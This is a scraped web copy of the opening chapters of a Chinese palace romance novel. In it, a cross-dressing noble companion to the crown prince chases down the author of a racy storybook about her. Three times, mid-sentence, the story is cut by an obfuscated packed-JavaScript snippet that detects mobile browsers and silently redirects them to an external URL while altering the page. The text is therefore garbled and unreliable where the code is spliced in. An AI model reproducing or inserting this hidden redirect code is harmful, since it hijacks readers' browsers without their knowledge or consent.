《东宫伴读》 1. 话本风波 宫墙深深，金瓦红墙，翠柳依依。 远处走来个身着织金红袍的公子，发束金冠，肤色白皙，浅栗色的发在太阳下溶溶流光，明而不媚。 这条路常宁走了无数遍，闭眼都能走过去。偏偏云策不信，撺掇着她打赌。 只要常宁能闭眼走过去，云策就请她去天香楼吃饭！ 常宁可太喜欢天香楼了！可惜她娘管着她，从不许她在天香楼多吃。 现今常宁闭着眼，耳朵却不闲着。听着哗哗的水声，就知道自个到了鸣春湖，再走上不远就能到云策那儿，弯着唇美滋滋笑起来。 脚下猝然被绊到，整个人一头扎进花丛里，好险护住了眼睛。 常宁脸上却被划了一道，血珠子坠在脸颊边，正准备趁云策没发现耍个赖，撑地起身时，摸到一本书。 书？ 常宁一激灵，生怕先生从这儿过，恐怕要误会她扔书，决定溜之大吉，却从封面上看到大大的“常宁”二字！ “云策，云策——” 这常宁还能不明白吗？这就是要嫁祸她！瞧瞧，把她大名都写书封上了！ 常宁颤着手掀开封皮，只祈祷不是老古板严先生的《尚书》。 这一看，常宁更怕了。 ——我和同窗们不得不说的二三事？ 这不是正经书吧！ 常宁咬牙切齿。 看来对手过分狡猾狡诈，深谙三十六计，奉行知己知彼百战不殆，居然连她把话本子换了《尚书》皮带进宫的事都知道了，还故意放在她必经的路上恐吓她。 更可恶的是，对手居然能看到她常宁都不能看的话本子！ 常宁愤愤翻书，略略扫过去，只看到什么脐橙什么三人行，大叫着一手捂住了眼，一手把书拿远了。 云策听到常宁扯着嗓子叫他，早知道常宁输了，晃悠悠走过来，却又听到常宁的大叫，眸子一眯，飞一般冲到常宁这里，见常宁只是摔了，长长呼出一口气，顺手接过常宁手里的书，大笑道：“常宁啊常宁，你请我吃天香楼吧！” 他双手环胸，立在常宁身边。那书被他拿在手上抛来抛去地玩，他纳闷，“常宁，你怎么躲花丛里看书？什么时候这么好学了？” 常宁身子一僵，连忙爬起来去抢书。 云策却不给，故意把书高高举起，引得常宁扯着他衣裳跳。 常宁几乎都要贴在他身上了，恨不得顺着他爬。 云策咂舌，仰头漫不经心地甩开书页，对常宁微微摇头，马尾在他脑后晃荡出得意的弧度。 什么书上还有他的名字？公孙瑾、孟学州、江晚照……怎么这么多人？算了，当然是先看他自己！ ……云策脸腾地红了。 什么嘴、什么泪、什么吃、什么哥哥再来一次……云策自认也没到不认字的地步，怎么这些字合在一起，他一句话也看不懂。 他愣住了，常宁就够得到书了，一把夺回来，恨恨地盯着他，眼睛里几乎能喷火。 云策现在看着常宁的眼睛，脑袋里全是书里那温热湿润、晶莹剔透的泪水，挠挠后脑勺，“常宁，我不知道你喜欢我。” 常宁眸子睁大，不可思议地看着他，连忙捂住他的嘴：“你别说话。” 云策不得不说：“呐，我娘是不让我和男人在一起。但你要是喜欢我，我也不是不行嘛。” 常宁还捂着他嘴呢，就感觉手指上一湿一热，跺着脚甩开手，云策还盯着她瞧。 “云策！你个变态！”常宁咬牙切齿，“这书不是我的，我捡的。你快和我去查查，这铁定是有人要害我！” 常宁快急疯了。谁知道这书还有多少？万一被认识的人看到了，她常宁还怎么混？ “你愣什么愣？”他呆呆的，常宁却不敢再拿手堵他，卷着书在他眼前挥。 云策喃喃道：“常宁，我从前怎么不知道，你这么好看？” 常宁眉毛一横，狠狠瞪他，“现在还好看吗？别呆着了，我都快被人害死了。严先生看到这些，铁定要我吃不了兜着走。” 到底是多年友谊占了上风，云策忍着没说出那句“好看”，只道:“真不是你的？你的书向来是清河公主给你写名字的，我看这字迹就是她的。” 云策虽立志习武，不爱念书，但字写得很好，不仅能辨认出各人的字迹，熟悉极了还能仿写。 他这天赋还是常宁挖掘出来的，常宁对此深信不疑，立时就有了决断，“那这书怎么办？” 带到御书房，肯定会被同窗发现。带着出宫，禁卫军要搜查，必定也会被发现。就放在那花丛里，常宁怕被路过的人看到。 云策眼眸一亮：“简单，你送我！” 常宁屈指敲他脑袋：“我都要气死了，你还看，是不是朋友了？” 云策就是想看，忽然瞄到书页鱼尾上印着“行舟书局”，匆匆点头，“咱们是铁哥们，我绝对不看！要不你把书扔到鸣春湖里，我给你放风？” “好哥们，原谅你了。”常宁满意了，眉眼弯弯笑起来，卷着书往湖边跑，要找个合适的地方把这书沉了。 云策往回走，一边放风，一边悄悄看常宁，浓眉蹙起，突然惊醒，颇为惊恐地摇了摇头。 奇怪，他以前也这么看常宁吗？ 垂柳依依，翠绿的鸣春湖畔，常宁朱衣金冠，融融日光洒在常宁身上。常宁笑唇笑眼，整个人都像在发光。云策很难形容这种感觉，只觉满宫春色敌不过常宁眉眼。 他连忙掐了自个一下。 常宁，他的铁哥们、好兄弟，他最好的朋友，他究竟在想什么？ 常宁无心顾及云策，她急得额头冒汗，围着湖打转，想找条小船，把话本子扔到湖心，免得书浮到岸边。 可找了好一会儿，也没找到船。 不远处有个沙汀，汀上有树，寻常没什么人过去。常宁少时顽劣，在这边摸过鱼，晓得沙汀那儿水深得很，又有几块岩石，话本子扔那儿好得很。 好巧不巧，她刚扔出去，沙汀后就绕出来一条兰舟，蓝天白云下，李稷着玄黑滚金袍、束紫金冠，伸出一只苍白的手，稳稳地捞住即将打在他怀里的话本。 常宁那叫一个欲哭无泪，连解释她不是故意砸他都来不及，只高声道：“殿殿殿……殿下，别看！” 李稷身后的刘善德微微笑着，指使小太监划着小船来接常宁，“常伴读，殿下请您过舟上一叙。” 常宁余光里，云策正探头探脑地盯着她。她手背在身后，连忙对云策做了个速走的手势。 李稷已经翻开了书页，动作一顿，抬眼看常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307315|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁。 常宁佯做不知，回以强颜欢笑。 李稷站在船首，常宁便立在他侧后方三步的位置，也不敢问他，就和刘总管打招呼。 刘总管就见这朱衣小公子笑得眉眼弯弯，对着他可劲招手。 常宁从袖袋里取出一个小圆瓷盒，“刘总管，这是我家里新熬的香梨膏，兑热水喝了，对你的嗓子好。” 李稷没出声，刘总管知道这是能收，哎呦一声笑出来，“公子是折煞奴婢了，奴婢感激不尽。” 倒春寒，刘总管最近确有些咳嗽，平日里在殿下身边侍奉，不好发出声来扰了贵人清净，他也只前几天在殿外揉喉咙，被常宁瞧见了一次，没成想常宁记到现在。 “哪里，哪里，都是为了殿下嘛，”常宁见了熟人就爱讲话，反正李稷看都看了，她也拦不住，不如做些开心的事。她这一开心，连身后的几个小太监都被她拉着说了好一会儿。 李稷忽然让常宁过去。 常宁笑吟吟站在他面前。 常宁眼睛很好看，生就一双潋滟的桃花眼，又爱笑，茶色的眸子如同盛了一汪春水，看去能化了人心里的苦闷，春雨洗涤一般舒爽。 李稷此刻就盯着这双眼睛瞧，骨节分明的手指摩挲在书缘上，“为何没有孤？” 这话本里，御书房里出色的伴读都在上面，主角无一例外都是常宁。李稷处处拔尖，未曾想在区区一个话本子上落了后。 “啊？”常宁都懵了，不愧是龙子凤孙，她和云策瞄两眼就脸红，李稷不仅面不改色地看完了，还能把她这个主人公都给问住。 但常宁是真不知道，厚着脸皮道：“殿下，这书不好，您把它赏了臣，臣回头给您带本孤本。” 常宁的油嘴滑舌，在宫里是出了名的，李稷懒得辩驳，只把书扔给刘总管，要他收起来，对常宁道：“污言秽语，不堪入目，不许再读。” 目的没达成，又被抓到拿禁书，八成还以为她偷偷看……常宁耷拉着眉眼应了。 李稷道：“明日到东宫来。” 常宁蔫蔫的：“可是殿下，明日御书房有骑射课。” 刘总管笑道：“常伴读，殿下让您去，谁还能拦着？” 常宁眼眸放大，登时来了精神，欢欣起来，快步上去围着李稷，“殿下，您给臣告假了？” “殿下您太好了，常宁就知道，做伴读跟着殿下准没错！” 常宁最烦骑射课，昨日御书房结课后，照例跟着几位伴读去见李稷，路上随口提了一句，没想到李稷竟给她告假了。 “殿下，您怎么对臣这么好？好幸福好幸福！” 常宁一路上一直念叨着李稷的好，游湖游到一半，李稷就赶常宁走了。常宁一步三回头，“殿下，这书……能不能不告诉严先生？” 若是被严先生知道了，常宁的课业，估计多到挑灯夜战都写不完。 李稷避而不答：“走吧。” 常宁也不失望，眼睛依旧亮亮的，笑着和李稷告别，“殿下，臣明天再来看您。湖上风大，当心着凉！” 刘总管笑眯眯望着常宁。 常宁话多，却不惹人烦，反而令人听之心喜。殿下少言，性子也冷，被常宁围着说了半天，回应少得可怜。刘总管却晓得，殿下如今心情甚佳。 2. 风流公子俏佳人 “表哥，你找我做什么呀？” 巍峨宫殿内，身着宫装的俏丽女孩托着下颌，杏眼弯弯望着常宁。 清河公主李稚，与常宁同岁，是常宁的嫡亲姑母德妃所出，表兄妹二人关系一向要好。 常宁桃花眼微眯，故意冷着脸，也托着下巴，没骨头似的倚着，直直看进李稚清澈的杏眼。 李稚没忍住，涂着鲜亮花汁的指甲敲了敲桌面，腮帮鼓鼓，气呼呼道：“表哥，你究竟要做什么？再不说话我不理你了。” “别呀，”常宁这才笑了，三言两语解释了话本子的事，“清河，我问你，你从哪儿得的话本子？” 李稚神情讪讪：“表哥，你找这话本做什么？” 常宁一拍桌子，撑桌站起来，“敢整我，我当然整回去！想我一世英名，多少姑娘的梦中情人，被人写进这种不入流的话本里，我气呀！我气！” 李稚咽了咽口水：“表哥，凡事以和为贵，做人留一线，日后好相见嘛。说不定、说不定那人只是一时鬼迷心窍，并无恶意。” 常宁牵唇冷笑：“这么说，清河是认识他了？” 李稚从没见过常宁这般生气，虽表哥生气惯常雷声大雨点小，她还是心颤了下，“我不认识，但是，表哥，我知道这书在哪儿卖。” …… “行舟书局？”常宁举着折扇，回眸看李稚。 李稚头戴帷幔，窈窕的身形隐在帷幔后，然气质出众，纵然看不到脸，也能想见是个美人。 “看什么看！”常宁冲着纨绔子龇牙咧嘴，甩了折扇打在他身上，吓得街上那些人一个眼神都不敢往李稚身上瞟。 李稚最喜欢和常宁出来玩了，表哥总是给她稳稳的安全感。 若来的不是行舟书局就好了。 “云策？”李稚皱眉。 常宁眯眼，看着云策一身束袖长衣，抱着个宝蓝色的小书封从行舟书局出来，忽然瞪大了眼，快步上去叫住他。 云策听到常宁的声音就觉不好，拔腿要跑，被常宁拦住。 常宁视线上上下下，在他和书之间打量，抱胸昂首，“什么书？” 云策中气不足:“高老先生新出的《大学》解。” 常宁皮笑肉不笑：“那是章先生，书拿来！” 云策不愿意，环顾左右，和焦灼的李稚对上目光。 李稚小跑过来：“表哥，正事要紧。” 看在李稚的面子上，常宁不揪着云策不放，右眉一抬，“过来。” 云策把书背在身后，和常宁保持三步距离，就不肯再往前了。 常宁不在意，挥挥手让远处的小厮们都过来，带着李稚和云策走在前面，一群人浩浩荡荡地去砸场子。 店里的人都跑完了，又围过来好些人，堵在店外看热闹。 掌柜忙出来：“爷，您这是做什么？” “哟，这不是常宁吗？”一声恣意的大笑传来，宋念辞眉眼风流，止不住往常宁身上瞄，“常宁，你到底有几个好同窗？” 常宁的大名，在京里无人不识。围过来看热闹的，多多少少认得常宁，也认得那话本，便低低笑起来。 常宁大骂：“你管这么宽做什么？明天我去殿前，让御史参你！参得你家都不敢回！” 宋念辞啧啧摇头，俊俏的脸凑过来，和常宁咬耳朵，“我家里，也藏着那话本呢。可巧，见了常宁你，这回家欣赏起来，也是得意！” 常宁觉得他凑的太近，挥手给了他一拳，嫌弃地摸着自己的耳朵。 他口气都喷到她耳朵上了，常宁瘆得起鸡皮疙瘩。 宋念辞笑骂常宁不解风情，“你真该拜读那话本。” 常宁不理会他的扬长而去，转眸问掌柜：“谁来投的稿？” 掌柜的擦擦汗：“这……小人不敢说。” 李稚也劝：“表哥，让他以后不卖了就是。” 常宁咽不下这口气，“敢整我，我就不当这缩头乌龟！你不说，你也别想做生意了。” 李稚悄悄拉常宁：“表哥，你注意点嘛。” 常宁冷笑：“写我、写云策，写御书房里别的人，还写得那么真，就是不敢写殿下，摆明了就是御书房里有人看我常宁好欺负呗！我不信不认识会写得这样真！” 李稚欲哭无泪：“说不定是喜欢你呢，表哥！” 常宁眯眼看她：“你不对劲，你从前可不这样，帮着外人欺负我。” 掌柜的哪儿想到常宁这混不吝的，大刺刺坐他门口就是不走，还放狠话以后天天都来。 这常宁在魏都里，多少算是个人物，钱多得要命，撒钱也不心疼。成日里，常宁就爱拿钱行善，许多走投无路的人，到了常宁那儿总能得些盘缠，静候时机。 所谓“大鹏一日同风起，扶摇直上九万里”，常宁被称作魏都小长风，和这行善乐施脱不了干系。 掌柜不怕常宁闹事，常宁手下历来有分寸。怕就怕事情闹大，常宁那帮遍布五湖四海的朋友们晓得了，若是来个心狠的，他也别干了。 于是悄声道：“常少爷，您和这个姑娘进来，我偷偷告诉您。” 云策不愿意被排除在外，常宁瞪他，他只好守在外面等。 不一会儿却听到常宁的叫骂，出来时张牙舞爪的，时不时还要踹一下空气。李稚跟在常宁背后，鹌鹑似的缩着脑袋。 云策拧眉，对常宁这有火发不得的行为十分费解，“常宁，怎么了？” “不干你的事，”常宁现在没心思搭理他，“散了吧，都回家去。” 掌柜扶着门看常宁一行人走远。 常宁的话本刚出，他也犹豫过，毕竟认识常宁的人实在太多，交好的更是多。没曾想卖了一阵，实在是畅销，他也就铤而走险了。 更让他开眼的是，还有人私下里找他，出钱让他加戏。 …… 常宁依旧没骨头似的倚在桌上，李稚被看得头皮发麻。 “表哥，我错了，我再也不写了。” 李稚泪眼汪汪的，常宁也倦了。到底是从小疼到大的亲表妹，舍不得发脾气，却不得不警告一二。 “清河，你写表哥，表哥随你写。可你知道别人如何吗？单说那公孙瑾，素日里心狠手辣，最和表哥过不去。若被他晓得你写这样的话本，还把他和我写一起，往日他还不定怎么阴你呢！” 李稚被常宁抓包，早有悔意，听了常宁一番话，更觉悔恨，“表哥，那现在怎么办？” 常宁心细：“你们靠这话本挣了不少银子吧？把那掌柜送走，让他去别的地方干，不许再来京城，更不许说是你写的话本。” 李稚一路也是遮遮掩掩的，没透露过自己的身份，掌柜却猜到了，自然不敢乱说。怕就怕有人心怀不轨，故意把这事捅出来，李稚名声恐怕要受损。 此时她也后怕了，“表哥，我没想到这么多人喜欢看。” “不怕，这事交给表哥，”小事罢了，常宁又不是没干过，就是没写过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307316|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么露骨的，“现下还有更重要的。” 李稚眼看常宁把笔墨纸砚都摆在桌上，不由迷茫。 常宁围着桌子转，满意极了，舒服得桃花眼弯弯的，把李稚都看呆了，“因这话本，旁人都觉得你表哥断袖呢！来，清河，我念你写，咱们势必要挽回你表哥我的名声！” “书名就写——风流公子俏佳人！” 李稷拜见过庆和帝。庆和帝对子女一向宽宥慈爱，听闻李稚近日精神不佳，便命李稷顺道送些珍宝给李稚把玩。 到了李稚的宫殿，宫人要行礼通传，李稷伸手止住了，打一进来便听到这句铿锵有力的话，脚步定住。 常宁喋喋不休：“写！话说那常宁，生得貌若天上仙，才比江东郎，不知道得了多少姑娘的喜欢。常宁其人，威武不凡，神气凛凛，虽得众人爱慕，一心却只扑在一位姑娘身上，立誓此生只娶这姑娘一人——” 李稚弱弱提问：“表哥，这么写，对姑娘家不太好吧？” 常宁摇头，语带得意：“谁让你写真名了？除了我，其他人你都杜撰呗！” 正说话间，禁闭的殿门忽然开了，一片明暗交织的光影里，李稷和刘总管的身形，出现在殿门边。 李稚行礼后，不住往常宁身后躲。常宁把人提溜出来，笑着问好。 李稷一进殿，氛围便冷了下来，竟似数九寒冬一般。 他目光落在桌上的纸笔上，常宁一笑，无比自然地伸手，就要把纸笔收起来。 李稷却不是好瞒的，“谁写的？” 常宁昂首：“臣。” 李稚感激不尽，濛濛的眸子未语还休地看着常宁。 李稷绕过这话题，吩咐刘总管将庆和帝赐下的碧玉钗取给李稚。 这碧玉钗，精致非常，在日光下犹如水波流动，夜间无光处，更是散发着幽幽的光。李稚惦记很久了，得了便高兴得紧。 李稷手中拿着碧玉钗，眸光却向常宁发上瞥去，又很快收回，过问李稚的日常起居。 李稚最怕这位面冷的皇兄，回答起来紧巴巴的。李稷也不欲多待，不多时就要走，只临走时，把常宁也给叫上了。 常宁胆大心大，却还是有几分惴惴不安的。此刻跟在李稷身后，看着他玄黑滚金的衣袍，也摸不着头脑。那脚步声，一下下的，像敲在常宁心上，总给常宁风雨欲来的不安。 这般一路到了东宫，常宁又被晾了许久，李稷才想起常宁似的，抿唇问道：“今日孤得的话本，也是你写的？” 常宁也不知怎的，竟听出一股兴师问罪的气势来，连忙摇头，“不是。” 李稷冷目一凛：“那是谁？” 总不能说是李稚！堂堂公主，才刚及笄，便写出这般荒唐的话本，常宁可不想传出去，坏了表妹的姻缘。 常宁慌忙改口：“就是臣！” 这么一说，李稷面色更冷，寒津津地不知在想些什么。 常宁被打量的心里直哆嗦，梗着脑袋认死了，信誓旦旦地又说了许多，“真是臣写的，不然咱们御书房这么严格，旁人哪里会如此了解公孙瑾、云策他们呢？” 她越说，李稷越是看着她，最后常宁也不敢再说了。 李稷示意刘总管取来《清心经》，让常宁在这儿抄，不抄个百遍，今夜便别想离宫。 常宁捏着笔杆子发酸。 这意思是——她常宁黄得没边了呗？ 天地良心，常宁连嘴都没亲过！ 英名不保呐！ 3. 第 3 章 英国公府。 姜夫人正搭着绣棚，给常宁绣荷包，忽然听到一阵脚步声，伴着少年人的欢声笑语，唇畔荡漾出温柔的笑意。 天边晚霞灿灿，落日融融，常宁脸上身上都镀了一层金光，手背在身后，探头道：“娘！” “常宁，”姜夫人见了常宁，便喜不自胜，轻柔的目光一直落在常宁身上，“今日又上哪里了？怎么回来这么晚？” “我今天又被罚了，”常宁抽抽鼻子，做出一副可怜样，“好惨呢。” 姜夫人已经习惯了，被常宁逗笑，伸指隔空点向常宁，“你这孩子，先生教你做功课，可要认真些。” 常宁小跑到姜夫人面前，从背后抽出藏了许久的梨花，“娘，我给你带的！” 清雅的梨花，嫩绿的翠叶，点点水星落在洁白的花瓣上、养眼的绿叶上。 姜夫人这才留意到常宁袍角，上面还坠着微湿的泥土，连忙将常宁的手握在手心，果然一片冰凉，“叫府中丫鬟去就好，你去做什么？亏得没着凉。” 常宁弯着眼睛笑，想凑近蹭蹭姜夫人，又忍住了，哼哼道：“我给娘采的，当然和别人的不一样。侍玉呢？” 姜夫人理理常宁额角碎发，“在你院里。” 常宁来去如风，得了话头，就往自个院里赶，远远地就喊着:“侍玉，侍玉！” 张侍玉却不应常宁。常宁跨进门槛，望见几株梨花树下，倚着个身穿夜行衣的少年，十六七岁年纪，束了个半扎的马尾，双腕上一圈圈缠着黑布条，正忧郁地望着落日。 常宁撞进他视线时，张侍玉死寂的眸子里泛起点点涟漪。 一把桃木剑斜刺在张侍玉眼前，常宁摆了个帅帅的姿势，可剑风、剑身都到了张侍玉面门，张侍玉眼都不眨一下。 常宁惊呆了：“侍玉，你还有这好功夫！” 张侍玉扯扯唇角，冷厌疏离，自嘲道：“废人一个罢了。” 他如今，再也举不起剑。 常宁不喜欢听他这么说自己，“我可没见过会飞檐走壁的废人。侍玉，你看！” 剑被常宁丢了，常宁白皙的手心里，静静躺着一枚漆黑丹药，“我去回春堂求的，可灵了，侍玉你试试！” 张侍玉瞥了一眼，伸手打掉常宁手里的丹药，急得常宁手脚并用去捞，好险没掉在地上。 常宁院里的丫鬟小厮都皱着眉看张侍玉，“少爷连着守了许多天，才得来这么一枚，你这人好生无礼！” 张侍玉面容淡漠。 常宁让他们都退下，自个连拖带拽地拉着张侍玉，把他摁在秋千上，推着秋千高高送起，“侍玉，你看得高吗？” 张侍玉颔首。 若不是常宁心细，只怕都发现不了他的动作，“侍玉，你飞檐走壁时，比这还高！” 常宁头一次见张侍玉，正是个月明星稀的夜晚。她不敢带着先生的罚抄回家，就去了茶楼里，坐在二楼一边赏月一边抄写，冷不丁几片瓦楞摔落在窗棂上，常宁一抬头，就见张侍玉动如行云流水，以一当十还游刃有余。 歹徒敌不过张侍玉，迁怒了常宁。有冷箭飞来，毒刃伤了张侍玉。张侍玉带了伤，还护着常宁。 常宁这辈子，最憧憬江湖浪客，得知张侍玉是江湖中人，更是憧憬不已，带张侍玉回家养伤，日日缠着张侍玉问江湖中事。 张侍玉眼睫颤颤，垂眸看自己攥着纤绳的手。他肤色冷白，眼睑细小的淡青色血管跳了一下。 常宁都习惯了他的少言，又推了一会儿，也推饿了，稳住秋千，扯住张侍玉一只手，不由分说地将药丸放进他手里，“侍玉，你有没有什么想要的？” 他的嗓音像风一样轻，沙子一样流淌，“皇觉寺平安扣。” 常宁险些没听清这样微而碎的话语，“侍玉，你说话可真好听。” 皇觉寺，专供皇族入内，常宁这么些年，也只有庆和帝祭祀、祈福时跟着进去过。 眼下非节非年，更不是祭祀、祈福的日子，只怕还要等好些时日。 …… 严先生最爱穿灰布长袍，腋下夹一本《尚书》，拈着山羊须来给学子们授课。 今日常宁乖乖坐在席上，听他授课听得格外认真。老先生屡屡看向常宁，疑心常宁是受过了太子殿下约谈，这才在东宫里老实听课。 常宁却一直提心吊胆，担忧李稷把昨天的事讲给了严先生，怕课上惹恼了严先生，她爹连家门都不让她进。 幸而严先生心情似乎十分爽利，也不压着常宁，给常宁授了半天课，又布置了课业，余下半日功夫，都让常宁自个留在东宫。 常宁懒懒地靠进椅子里，把笔杆子横放在鼻下唇上，一双桃花眼专注地看着笔杆。那笔杆晃的，常宁自己都忍不住笑了。 斜刺里一片阴影笼罩着常宁，常宁余光瞧见是李稷，忙拿下了笔杆，却一个重心不稳，连人带椅子歪倒在地，疼得眸子里泛了泪。 一睁眼，却看到李稷正垂眼看她，常宁顾不得疼，爬起来行礼。 李稷的手冰冰凉凉，触碰时有种遍体生寒的感觉，常宁冷得脑袋往后缩了一下。 常宁很康健，皮肤白里透红，桃花眼明亮有神，如同盛满一湖春水，朝人看去时，只觉满腔柔情，却并不令人觉得冒昧弱气。 在李稷看来，这双眼睛蒙了雾气，更如碎玉生辉，直让人深陷进去。常宁眼睫长而翘，眼睑像是涂了薄薄一层胭脂，一点鲜红坠在眼尾，被眼睑的色泽映衬，不凑得极近，几乎是看不到的。 李稷掌着常宁的脑袋，屈指摩挲，不见这点鲜红掉落，愈发使了狠劲去抹，连常宁往后缩，都被他铁臂撑着。 刘总管细眉微不可查地一动，面上还挂着和善的笑，视若无物。 李稷终于放开了常宁:“这是何物？” 常宁都被李稷弄疼了，忍着不做声，趁这功夫默默地后退了，“是颗泪痣，不是脏东西。我娘说长了泪痣的小孩爱哭，等我过了这个生辰，就带我去点了。” 李稷眉心一凝，隐在袍袖下的手指捻了捻，语气淡然：“子不语怪力乱神，一颗痣，怎么会乱了你的性情？” “臣也觉得有理，”常宁桃花眼弯弯，开心地笑起来，“不点的好。” 常宁怕疼，泪痣虽小，可常宁也是被针扎过的，伤口不大，却痛入心扉。 正说话间，小黄门来报:“殿下，伴读公孙瑾求见。” 李稷瞥了眼常宁，“让他进来。” 常宁最搞不明白的，就是公孙瑾。 公孙瑾此人，少时家境贫寒，后来不知为何，被庆和帝看重，破格调入御书房，陪着皇子公主们念书，后来更是做了李稷的伴读。 这人现在可比常宁风光多了。常宁还在御书房苦兮兮念书，公孙瑾已经进了龙禁尉，听说颇受重视，比常宁这等日夜敷衍功课的，不知前程好了多少。 他如今也算富贵，却不知为何，始终穿着粗布麻衣。不过依常宁看，公孙瑾生得俊美，粗布麻衣也损不了他的气度。 他对李稷行礼，常宁也笑着和他打招呼，疑心他们二人有要事相商，找了个借口就出殿了。 公孙瑾目光一直若有若无地落在常宁身上，李稷叫了他一声，他才堪堪回神。 刘总管微笑着看他，心下却纳闷。 近日殿下并没有给公孙伴读交代什么，按说公孙伴读不该来才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307317|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 …… 常宁出了殿，被暖洋洋的日光一晒，舒服得伸懒腰，揉着眼睛坐在朝阳亭里昏昏欲睡。 李稚在御书房里，听说常宁今日告假，一下早课就来寻常宁，带了糕点来给常宁赔罪。 常宁嘻嘻笑着，“清河，你可太伤表哥的心了，我昨天险些气死！你往后有什么好吃的，一定不能忘了给我一份！” “好呀，表哥！”李稚听出常宁在胡闹，伸手揪着常宁耳尖，不重，但常宁乐得配合，表兄妹二人笑作一团，李稚的惴惴不安便没了，常宁也不困了。 “微臣见过公主殿下。” 公孙瑾垂眼行礼，李稚道了句“免礼”，和常宁坐得正经了些。 他一来，常宁也不敢和李稚胡闹了，欢乐的氛围一时凝滞，变得焦灼起来。 这人虽面上带笑，眉眼间却藏着几许风雨，带着沉淀过后的深不可测，眼光看看常宁，又看看李稚，直看得常宁背后发凉。 常宁也不知自己何时得罪了他，恐他因自个记恨上李稚，与李稚耳语几句，先让李稚回去，“阿瑾，进来用口茶？” 公孙瑾撩袍落座，捧起常宁推来的茶，垂眸细细品着。 常宁也纳闷了，跟着灌了几口，这白水有什么好细品的？ 他不说话，常宁没什么好说的，“阿瑾，你在龙禁尉里如何？可还适应？有没有短缺的？” 龙禁尉，是庆和帝近些年才设立的。常宁也只是听说，龙禁尉里手段残酷，虽得圣眷，名声却并不太好。 常宁也是刚刚才想起这档事，忧心他是个新人，不知是否被人欺压了去。 公孙瑾蓦然攥紧了杯身，连带着粗布衣衫都晃了晃，冷冷道：“要你关心？” 常宁哼一声，撇过头去，眼里隐隐有泪光闪烁，“你这么冲做什么？我又不是要害你。” 她长这么大，还就没被人凶过呢。 就公孙瑾可劲欺负人，常宁说一句，他能顶十句。 公孙瑾语气一滞，闭口扔过去一张帕子。 常宁眼尖，一眼就瞧见他大袖下粗长的血痂，抓住他手腕，“怎么伤的？你今天去上骑射课了？” 血痂已有些崩裂，血珠子滚滚的，看上去不是今日伤的。 那就是在龙禁尉里？ 公孙瑾下意识要抽离，然而常宁捧着他手腕细看，还取了随身带着的伤药涂，他却忽然有些眷恋，隐下眉间的挣扎，随常宁去了。 常宁十分不解：“为什么一定要去龙禁尉？等从御书房结业，陛下也会给我们封官，不比龙禁尉差，何苦要去受这些苦头？” 庆和帝早年还耽于享乐，近来却愈发勤政，虽则身子不大好，可在用人上，却日渐开明。进了御书房，无论出身，总能得个不错的官职。 公孙瑾刺道：“你怎么会懂？” 常宁也不想理会他了，走到亭子边缘看湖水，留他一个人坐在那儿，“我就是不懂。我更不懂，你就这么喜欢骑射，伤着也要上骑射课？” 自从他进了龙禁尉，每七日里，就有一天休沐，他都拿来上骑射课。常宁与他做同窗起，他就没缺过一天骑射课。 骑射课上两两一队，常宁也是倒霉，每年都和他分一队。他骑射时有股不要命的劲儿，常宁是搭档，被他带着死命打马，一天下来，总是浑身疼痛，最烦上骑射课。 但常宁没见过这么痴迷骑射的，伤成这样还不养伤吗？ 公孙瑾放下袖子，遮住伤口，“我警告你，离公主远一些。” 常宁不满：“我和清河，关你什么事？” 公孙瑾牵唇冷笑，拂袖离去：“你要想尚公主，只管继续好了。” 4. 争执 姜夫人将手中一摞画册放在桌上，示意常宁来看，“可有合眼缘的？” 常宁桃花眼亮亮的：“娘，个个我都喜欢。” 姜夫人掩唇失笑：“你这孩子，让你挑合适的姑娘议亲，你难不成都要娶回家？” 常宁撇撇嘴，懊丧地坐在椅子上，“娘，我倒是想，可不能耽误了人姑娘家呀。” 姜夫人眼圈一红。莫说不能耽搁别的姑娘家，她家常宁却已经被耽搁了。 “宁宁，你明白就好，”姜夫人按着帕子压了压眼角，“不要和姑娘家走得太近。再熬几年，就熬到头了。” 常宁却不觉苦闷，闻此一言，笑道：“只剩下几年了？说实话，我还舍不得呢。” 姜夫人瞪她一眼：“那之后才难呢！” “我不听我不听，”常宁捂着耳朵笑，小跑到姜夫人身边，“娘，我爹在哪儿呢？” “钓鱼，”姜夫人无奈，“你还不知道你爹？除了钓鱼就是养花，正事是不干的。” 常宁歪头，若有所思：“娘，我以后要和我爹一样。” 姜夫人摇摇头，“宁宁，你可不能和你爹一样。” 常宁抱着姜夫人胳膊晃晃：“不嘛不嘛，我就这样。” 姜夫人揉揉常宁发顶。 常宁顺势蹭了蹭，冷不丁瞧见桌上的药汁，嘴巴一苦，“娘，我有点头晕，困了。” 姜夫人不吃这套：“先把药喝了。” 